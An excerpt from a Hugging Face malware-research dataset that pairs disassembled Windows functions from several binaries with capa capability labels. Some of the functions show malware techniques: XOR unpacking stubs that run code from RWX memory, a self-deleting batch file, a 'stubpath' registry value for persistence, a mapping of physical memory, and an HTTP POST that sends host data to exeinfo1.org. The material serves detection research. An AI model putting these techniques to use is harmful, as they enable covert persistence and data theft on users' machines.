joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40229a
Capabilities:
Terminate process

Disassembly:
mov edx, eax
push edi
push dword [0x403716]
call dword [sym.imp.pdh.dll_PdhCloseLog]
mov eax, 5
add eax, 5
inc eax
xor edi, edi
xor esi, esi
test eax, 0xb
jne 0x4022c9
push 0
call dword [sym.imp.kernel32.dll_ExitProcess]
mov edx, eax
mov dword [0x40164f], eax
ret
Function at 0x401c1a
Capabilities:
Encode data using base64 via winapi
Enumerate files on windows
Get file size

Disassembly:
push ecx
push edx
sub esp, 0x600
mov byte [esp + 0x5cc], 0
push 0
push 0
call dword [sym.imp.USER32.DLL_FindWindowW]
mov dword [esp + 0x5f0], eax
mov dword [esp + 0x5f4], 0x14
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push 0
push 0
call dword [sym.imp.USER32.DLL_FindWindowA]
mov dword [esp + 0x5e8], eax
xor edx, edx
mov word [esp + 0x250], dx
lea eax, [esp + 0x5f4]
push eax
lea eax, [esp + 0x59c]
push eax
push 1
push 1
lea eax, [esp + 0x260]
push eax
call dword [sym.imp.CRYPT32.DLL_CryptBinaryToStringW]
mov byte [esp + 0x5bc], 0
push 0
push 0
push 0x410
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
mov dword [esp + 0x5d4], eax
mov eax, dword [esp + 0x5e8]
push eax
call dword [sym.imp.USER32.DLL_GetDC]
mov dword [esp + 0x5ec], eax
mov eax, dword [esp + 0x5ec]
push eax
mov eax, dword [esp + 0x5ec]
push eax
call dword [sym.imp.USER32.DLL_ReleaseDC]
lea eax, [esp + 0x5bc]
push eax
lea eax, [esp + 0x5d0]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_LocalAlloc]
mov byte [esp + 0x5fc], 0
lea eax, [esp + 0x5ac]
push eax
push 0
call dword [sym.imp.USER32.DLL_GetWindowRect]
xor eax, eax
mov word [esp + 0x5d8], ax
mov eax, dword [esp + 0x5f0]
push eax
call dword [sym.imp.USER32.DLL_GetDC]
mov dword [esp + 0x5e0], eax
push 0
call dword [sym.imp.KERNEL32.DLL_LocalFree]
movzx eax, word [esp + 0x598]
sub eax, 0x47
mov dword [esp + 0x5f8], eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateEventW]
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov eax, esp
push eax
lea eax, [esp + 0x5dc]
push eax
call dword [sym.imp.KERNEL32.DLL_FindFirstFileW]
mov dword [esp + 0x5e4], eax
mov byte [esp + 0x5c4], 0
lea eax, [esp + 0x458]
push eax
lea eax, [esp + 0x600]
push eax
call dword [sym.imp.KERNEL32.DLL_FindFirstFileA]
mov dword [esp + 0x5dc], eax
mov eax, esp
push eax
mov eax, dword [esp + 0x5e8]
push eax
call dword [sym.imp.KERNEL32.DLL_FindNextFileW]
mov eax, dword [esp + 0x5f4]
add dword [esp + 0x5f8], eax
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
mov eax, dword [esp + 0x5e4]
push eax
call dword [sym.imp.KERNEL32.DLL_FindClose]
mov eax, dword [esp + 0x5e0]
push eax
mov eax, dword [esp + 0x5f4]
push eax
call dword [sym.imp.USER32.DLL_ReleaseDC]
lea eax, [esp + 0x458]
push eax
mov eax, dword [esp + 0x5e0]
push eax
call dword [sym.imp.KERNEL32.DLL_FindNextFileA]
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov eax, dword [esp + 0x5d4]
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
lea eax, [esp + 0x5c4]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
mov eax, dword [esp + 0x5dc]
push eax
call dword [sym.imp.KERNEL32.DLL_FindClose]
mov eax, dword [esp + 0x5f8]
add esp, 0x600
pop edx
pop ecx
ret
Function at 0x401f02
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebx
push ecx
push edx
push esi
push edi
enter 4, 0
mov esi, eax
mov edx, dword [0x404050]
mov ebx, eax
add edx, eax
mov eax, 0x404054
call fcn.00401e39
lea edx, [ebp - 4]
push edx
mov edx, esi
or dl, 0x40
mov edi, 0x402fb7
push edx
sub edi, fcn.00402761
push edi
xor eax, eax
push fcn.00402761
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.DLL_VirtualProtect]
cmp dword [ebp - 4], 0
je 0x401f6c
mov eax, fcn.00402761
mov ebx, esi
mov edx, edi
call fcn.00401e39
mov edx, 0x1c000
mov eax, 0x404054
mov ebx, esi
call fcn.0040119f
leave
pop edi
pop esi
pop edx
pop ecx
pop ebx
ret
Function at 0x407010
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40704e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x407046
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x407050
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x407036
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x407120
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x407151
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x407151
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x407151
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x407e15
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e180]
jne 0x407e1f
repz ret
jmp fcn.0040bc0c

Function at 0x409825
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x409834
pop dword [ebp - 0x28]
mov eax, 0x23ac57bb
add eax, 0xdc944079
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0x5bd9aa8f
add dword [ebp - 0x38], 0xf2789abc
mov dword [ebp - 0x34], 0x9af95a7d
sub dword [ebp - 0x34], 0x68c60e38
mov dword [ebp - 0x30], 0x3b42daae
sub dword [ebp - 0x30], 0xeef69680
mov dword [ebp - 0x2c], 0xa8c7c40d
add dword [ebp - 0x2c], 0x57383bf3
lea eax, [ebp - 0x38]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0xec3cbed3
sub dword [ebp - 0x38], 0x77ca557d
mov dword [ebp - 0x34], 0xcddadfb9
sub dword [ebp - 0x34], 0x8c6e7e44
mov dword [ebp - 0x30], 0xaf28f093
add dword [ebp - 0x30], 0xb4467bd9
mov dword [ebp - 0x2c], 0x50a922b9
sub dword [ebp - 0x2c], 0x50a922b9
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, 0x1df86d43
sub eax, 0x1db63c1f
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x42001
push 0
call eax
mov ecx, 0x325ab580
sub ecx, 0x325a5c96
mov esi, eax
mov edi, 0x5861c1af
sub edi, 0x581e7daf
add edi, dword [ebp - 0x28]
mov edx, 0x2cc3d25
add edx, 0xdda4e4ef
sub dword [ebp - 0x24], edx
mov ebx, dword [edi]
sub dword [ebp - 0x10], eax
sub ebx, edx
xor dword [ebp - 0xc], 0xd8e17d52
mov dword [esi], ebx
sub dword [ebp - 0x24], eax
add esi, 0x29656b53
sub esi, 0x29656b4f
add edi, 0x1114dc8b
sub edi, 0x1114dc87
loop 0x409951
add eax, 0x1567b
mov ebx, eax
add eax, 5
mov ecx, 0x1447cb25
sub ecx, 0x1407cb25
add ecx, dword [ebp - 0x28]
call ebx
leave
ret
Function at 0x40c230
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x40c23f
pop dword [ebp - 0x30]
mov eax, 0x40c23f
sub dword [ebp - 0x30], eax
mov dword [ebp - 0x40], 0x97495bae
add dword [ebp - 0x40], 0xb708e99d
mov dword [ebp - 0x3c], 0xa7fd0375
add dword [ebp - 0x3c], 0x8a3648d0
mov dword [ebp - 0x38], 0x543add62
sub dword [ebp - 0x38], 0x7ee9934
mov dword [ebp - 0x34], 0xb97bc78a
add dword [ebp - 0x34], 0x46843876
lea eax, [ebp - 0x40]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x30]
call dword [eax]
mov dword [ebp - 0x40], 0xc5faa30
sub dword [ebp - 0x40], 0x97ed40da
mov dword [ebp - 0x3c], 0x6c4f1413
add dword [ebp - 0x3c], 0xd51d4d62
mov dword [ebp - 0x38], 0x4de2e8cf
sub dword [ebp - 0x38], 0xea737c63
mov dword [ebp - 0x34], 0xa7c4cd89
sub dword [ebp - 0x34], 0xa7c4cd89
lea ebx, [ebp - 0x40]
push ebx
push eax
mov eax, 0x305f48b7
sub eax, 0x301e187b
add eax, dword [ebp - 0x30]
call dword [eax]
push 0x40
push 0x1000
push 0x3ab8c
push 0
call eax
mov ecx, 0x46dc
xor ebx, ebx
add ebx, eax
mov esi, 0x115e8ba1
sub esi, 0x111cdba1
add esi, dword [ebp - 0x30]
mov edx, 0x825977fc
mov edi, dword [esi]
xor dword [ebp - 0x20], eax
xor edi, edx
add dword [ebp - 0x14], ebx
mov dword [ebx], edi
add ebx, 0x30d91711
add ebx, 0xcf26e8f3
add esi, 0x3b07afe7
sub esi, 0x3b07afe3
loop 0x40c34d
add eax, 0xba708996
sub eax, 0xba6f7b53
mov ebx, eax
add eax, 0x5ec35186
sub eax, 0x5ec35181
mov ecx, 0x400000
add ecx, dword [ebp - 0x30]
call ebx
leave
ret

Function at 0x410100
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 4
mov esi, ecx
call main
pop ecx
xor ecx, ecx
mov dword [ebp - 4], eax
test eax, eax
je 0x41011c
mov dword [eax], ecx
jmp 0x41011e
mov eax, ecx
push ecx
push ecx
push esi
push 0x410190
push ecx
push ecx
mov dword [esi + 0x10], eax
call dword [sym.imp.kernel32.dll_CreateThread]
mov ecx, dword [esi + 0x10]
pop esi
mov dword [ecx], eax
leave
ret
Function at 0x402079
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x310
push ebx
push esi
push edi
push 0x40
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x20b]
mov byte [ebp - 0x20c], bl
push 0x40
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x107]
mov byte [ebp - 0x108], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x310]
push eax
push 0x103
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x310]
push eax
lea eax, [ebp - 0x310]
push str._s1.bat
push eax
call fcn.004041d8
add esp, 0xc
lea eax, [ebp - 0x108]
push 0x104
push eax
push ebx
call dword [0x40d9b4]
lea eax, [ebp - 0x108]
push 0x40a9d0
push eax
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x20c]
push str.:1_r_ndel___s__r_nif_exist___s__goto_1_r_ndel__a__s
push eax
call fcn.004041d8
add esp, 0x14
lea eax, [ebp - 0x310]
push ebx
push 0x80
push 4
push ebx
push ebx
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x402177
lea eax, [ebp - 4]
push ebx
push eax
lea eax, [ebp - 0x20c]
push eax
call fcn.00404100
pop ecx
push eax
lea eax, [ebp - 0x20c]
push eax
push esi
call dword [0x40d96c]
test eax, eax
je 0x402177
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x310]
push ebx
push eax
call dword [0x40d964]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40220d
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
xor edi, edi
push edi
push 0x80
push 3
push edi
push edi
push connect
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x402277
push 2
push edi
push 0xffffffffffffffda
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [ebp + 8]
push edi
push eax
push 0x26
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x402277
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp + 0xc]
call fcn.00404100
cmp eax, 0x26
pop ecx
je 0x402277
push 0x26
push edi
push dword [ebp + 0xc]
call fcn.00404180
add esp, 0xc
pop edi
pop esi
pop ebp
ret

Function at 0x40227b
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
push edi
push esi
push 0x80
push 3
push esi
push esi
push 0x10000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x4022ce
push 2
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x4022ce
lea eax, [ebp + 8]
push esi
push eax
push dword [ebp + 0xc]
call fcn.00404100
pop ecx
push eax
push dword [ebp + 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x4022d2
xor eax, eax
jmp 0x4022dc
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
pop eax
pop edi
pop esi
pop ebp
ret
Function at 0x4022e0
Capabilities:
Get common file path
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x508
and byte [ebp - 0x108], 0
push edi
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x107]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x108]
push eax
push 0x103
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x108]
push str.apple.exe
push eax
call fcn.004049a0
and byte [ebp - 0x508], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x507]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 9
push 2
stosb byte es:[edi], al
call fcn.0040101d
push eax
lea eax, [ebp - 0x508]
push eax
push dword [0x40a1b0]
call fcn.00401074
add esp, 0x1c
lea eax, [ebp - 4]
push eax
push 0x20006
lea eax, [ebp - 0x508]
push 0
push eax
push connect
call dword [0x40d9b8]
test eax, eax
pop edi
jne 0x4023aa
lea eax, [ebp - 0x108]
push eax
call fcn.00404100
pop ecx
inc eax
push eax
lea eax, [ebp - 0x108]
push eax
push 1
push 0
push str.stubpath
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x4023ae
xor eax, eax
leave
ret
push dword [ebp - 4]
call dword [0x40d9bc]
push 1
pop eax
leave
ret

Function at 0x4026b4
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
and byte [ebp - 0x208], 0
push edi
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x207]
rep stosd dword es:[edi], eax
and byte [ebp - 0x104], 0
push 0x40
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x103]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x104]
push eax
push 0x103
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x104]
push str._apple.exe
push eax
call fcn.004049a0
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x104]
push eax
call fcn.0040220d
add esp, 0x10
lea eax, [ebp - 0x104]
push 0
push eax
push 0x40d9dc
call dword [0x40d9c8]
test eax, eax
pop edi
je 0x40274b
lea eax, [ebp - 0x208]
push eax
call fcn.004022e0
pop ecx
leave
ret
Function at 0x40335d
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Print debug messages
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5a0
lea eax, [ebp - 0x1a0]
push esi
push eax
push 0x202
call sub.WS2_32.dll_WSAStartup
push 0x400
lea eax, [ebp - 0x5a0]
push 0
push eax
call fcn.00404180
add esp, 0xc
push dword [ebp + 8]
call sub.WS2_32.dll_gethostbyname
test eax, eax
je 0x403437
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
movzx ecx, byte [eax + 3]
push ecx
movzx ecx, byte [eax + 2]
push ecx
movzx ecx, byte [eax + 1]
movzx eax, byte [eax]
push ecx
push eax
lea eax, [ebp - 0x5a0]
push str._d._d._d._d
push eax
call fcn.004041d8
add esp, 0x18
push 0
push 1
push 2
call sub.WS2_32.dll_socket
mov esi, eax
cmp esi, 0xffffffff
jne 0x4033e3
push str.socket_Error
jmp 0x40342a
push 0x10
lea eax, [ebp - 0x10]
push 0
push eax
call fcn.00404180
add esp, 0xc
mov word [ebp - 0x10], 2
push dword [ebp + 0xc]
call sub.WS2_32.dll_htons
mov word [ebp - 0xe], ax
lea eax, [ebp - 0x5a0]
push eax
call sub.WS2_32.dll_inet_addr
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x10]
push 0x10
push eax
push esi
call sub.WS2_32.dll_connect
cmp eax, 0xffffffff
jne 0x403435
push str.connect_Error
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
or eax, 0xffffffff
jmp 0x403437
mov eax, esi
pop esi
leave
ret

Function at 0x40343a
Capabilities:
Print debug messages
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
push 0x400
lea eax, [ebp - 0x400]
push 0
push eax
call fcn.00404180
add esp, 0xc
push 0
push dword [ebp + 0xc]
call fcn.00404100
pop ecx
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.WS2_32.dll_send
cmp eax, 0xffffffff
jne 0x403485
push str.send_is_error
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
or eax, 0xffffffff
leave
ret
push 0
lea eax, [ebp - 0x400]
push 0x3ff
push eax
push dword [ebp + 8]
call sub.WS2_32.dll_recv
xor eax, eax
leave
ret
Function at 0x403913
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x78
push ebx
push esi
push edi
push 0xb
pop ecx
mov esi, str.devicephysicalmemory
lea edi, [ebp - 0x78]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [ebp - 0x4a]
xor ebx, ebx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x78]
push str.ntdll.dll
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x24], 0xf0000
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0xc], 0xffff
mov dword [ebp - 8], ebx
mov word [ebp - 0x1c], 0x2c
mov word [ebp - 0x1a], 0x2e
mov dword [ebp - 0x30], 0x40
mov dword [ebp - 0x3c], 0x18
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.ZwOpenSection
push edi
call esi
push str.ZwMapViewOfSection
push edi
mov dword [ebp - 4], eax
call esi
push str.ZwUnmapViewOfSection
push edi
mov dword [ebp - 0x14], eax
call esi
mov edi, eax
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x10]
push 4
push eax
call dword [ebp - 4]
test eax, eax
jne 0x403a3c
push 2
push ebx
lea eax, [ebp - 0xc]
push 1
push eax
lea eax, [ebp - 0x24]
push eax
push 0xffff
lea eax, [ebp - 8]
push ebx
push eax
push 0xffffffffffffffff
push dword [ebp - 0x10]
call dword [ebp - 0x14]
test eax, eax
jne 0x403a3c
mov eax, dword [ebp - 8]
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
call fcn.00403782
mov esi, eax
pop ecx
cmp esi, ebx
jne 0x403a17
lea eax, [ebp - 4]
push eax
call fcn.004037f5
mov esi, eax
pop ecx
cmp esi, ebx
jne 0x403a17
lea eax, [ebp - 4]
push eax
call fcn.00403868
mov esi, eax
pop ecx
cmp esi, ebx
je 0x403a35
mov eax, dword [0x40eaf0]
push esi
push dword [ebp - 4]
lea eax, [eax + 0x40daf0]
push eax
call fcn.00404650
add esp, 0xc
add dword [0x40eaf0], esi
push dword [ebp - 8]
push 0xffffffffffffffff
call edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x403ddc
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1614
call fcn.00404260
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.ws2_32.dll
call esi
push dword [0x40ad34]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.iphlpapi.dll
mov dword [0x40daec], eax
call esi
push dword [0x40ad38]
push eax
call edi
push str.kernel32.dll
mov dword [0x40dae8], eax
call esi
push dword [0x40ad3c]
push eax
call edi
mov dword [0x40dae0], eax
lea eax, [ebp - 0xe14]
push eax
push 0x202
call sub.WS2_32.dll_WSAStartup
test eax, eax
jne 0x403fc6
mov esi, 0x400
push ebx
lea eax, [ebp - 0x1214]
push esi
push eax
call dword [0x40daec]
call fcn.00403655
call fcn.004036fd
call fcn.00403913
xor edi, edi
push esi
lea eax, [ebp - 0x884]
push edi
push eax
call fcn.00404180
add esp, 0xc
xor ebx, ebx
cmp dword [0x40eaf0], edi
jbe 0x403ebd
lea eax, [ebp - 0x884]
mov dword [ebp - 4], eax
movzx eax, byte [ebx + 0x40daf0]
push eax
push str._02x
push dword [ebp - 4]
call fcn.004041d8
add dword [ebp - 4], 2
add esp, 0xc
inc ebx
cmp ebx, dword [0x40eaf0]
jb 0x403e98
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0x1614]
push esi
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x40
lea eax, [ebp - 0x44]
push edi
push eax
call fcn.00404180
push 0x40
lea eax, [ebp - 0x84]
push edi
push eax
call fcn.00404180
push esi
lea eax, [ebp - 0xc84]
push edi
push eax
call fcn.00404180
lea eax, [ebp - 0xc84]
push eax
lea eax, [ebp - 0x84]
push eax
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x1614]
push eax
call fcn.00403cfb
push esi
lea eax, [ebp - 0x484]
push edi
push eax
call fcn.00404180
add esp, 0x40
lea eax, [ebp - 0x484]
push eax
call fcn.00403a41
lea eax, [ebp - 0x484]
push eax
call fcn.00404100
mov esi, eax
lea eax, [ebp - 0xc84]
push eax
call fcn.00404100
add esi, eax
lea eax, [ebp - 0x84]
push eax
call fcn.00404100
add esi, eax
lea eax, [ebp - 0x44]
push eax
call fcn.00404100
add esi, eax
lea eax, [ebp - 0x884]
push eax
call fcn.00404100
add esi, eax
lea eax, [ebp - 0x1214]
push eax
call fcn.00404100
add esp, 0x1c
lea ecx, [ebp - 0x44]
lea eax, [esi + eax + 0x1a]
push ecx
lea ecx, [ebp - 0x84]
push ecx
lea ecx, [ebp - 0x484]
push ecx
lea ecx, [ebp - 0xc84]
push ecx
lea ecx, [ebp - 0x884]
push ecx
lea ecx, [ebp - 0x1214]
push ecx
push eax
push str.POST__pro1.asp_HTTP_1.1_r_nHost:exeinfo1.org_r_nContent_Type:_application_x_www_form_urlencoded_r_nContent_Length:_d_r_n_r_na1_sa2_sa3_sa4_sa6_sa7_s_r_n_r_n
push dword [ebp + 8]
call fcn.004041d8
add esp, 0x24
pop ebx
pop edi
pop esi
leave
ret
Function at 0x402077
Capabilities:
Delete file
Get file size
Read file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x74]
sub esp, 0x98
mov eax, dword [0x42f180]
xor eax, ebp
mov dword [ebp + 0x70], eax
mov eax, dword [ebp + 0x7c]
push ebx
push esi
push edi
xor ebx, ebx
push ebx
push ebx
mov dword [ebp - 0x20], eax
call fcn.004240fc
pop ecx
pop ecx
push ebx
push 0x80000080
push 2
push ebx
push 1
push 0xc0000000
push eax
mov dword [ebp - 0x24], eax
call dword [sym.imp.kernel32.dll_CreateFileA]
mov esi, dword [sym.imp.kernel32.dll_GetStdHandle]
push 0xfffffffffffffff5
mov dword [ebp - 0x14], eax
call esi
push 0xfffffffffffffff4
mov dword [ebp - 0x1c], eax
call esi
push dword [ebp - 0x14]
mov esi, dword [sym.imp.kernel32.dll_SetStdHandle]
push 0xfffffffffffffff5
mov dword [ebp - 0x18], eax
call esi
push dword [ebp - 0x14]
push 0xfffffffffffffff4
call esi
mov ecx, 0x431440
call fcn.00401a9d
mov edi, eax
cmp edi, ebx
jne 0x40211f
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
lea eax, [ebp - 0x10]
push str.Cant_load_Python_for_pre_install_script___d_
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x10]
push eax
call fcn.00401654
add esp, 0x10
or eax, 0xffffffff
jmp 0x4021f7
push dword [ebp - 0x20]
call fcn.00407c70
pop ecx
push edi
mov dword [ebp - 0x20], eax
call dword [sym.imp.kernel32.dll_FreeLibrary]
push dword [ebp - 0x1c]
push 0xfffffffffffffff5
call esi
push dword [ebp - 0x18]
push 0xfffffffffffffff4
call esi
cmp dword [ebp - 0x20], ebx
je 0x4021e2
mov eax, str.Running_the_pre_installation_script_failed_r_n
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x402151
push ebx
push dword [ebp - 0x14]
sub eax, edx
mov edi, eax
call dword [sym.imp.kernel32.dll_GetFileSize]
mov dword [ebp - 0x18], eax
cmp eax, 0xffffffff
jne 0x402175
mov dword [ebp - 0x18], 0x1000
mov eax, dword [ebp - 0x18]
lea eax, [eax + edi + 1]
push eax
call fcn.00407c70
mov esi, eax
pop ecx
cmp esi, ebx
je 0x4021d7
mov eax, str.Running_the_pre_installation_script_failed_r_n
mov edx, esi
mov dword [ebp - 0x1c], ebx
sub edx, eax
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
cmp cl, bl
jne 0x402195
push ebx
push ebx
push ebx
push dword [ebp - 0x14]
call dword [sym.imp.kernel32.dll_SetFilePointer]
push ebx
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x18]
lea eax, [esi + edi]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.kernel32.dll_ReadFile]
mov eax, dword [ebp - 0x1c]
add eax, esi
push esi
mov byte [eax + edi], bl
call fcn.00401654
push esi
call fcn.00407f30
pop ecx
jmp 0x4021e1
push str.Out_of_memory_
call fcn.00401654
pop ecx
push dword [ebp - 0x14]
call dword [sym.imp.kernel32.dll_CloseHandle]
push dword [ebp - 0x24]
call dword [sym.imp.kernel32.dll_DeleteFileA]
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp + 0x70]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00407875
add ebp, 0x74
leave
ret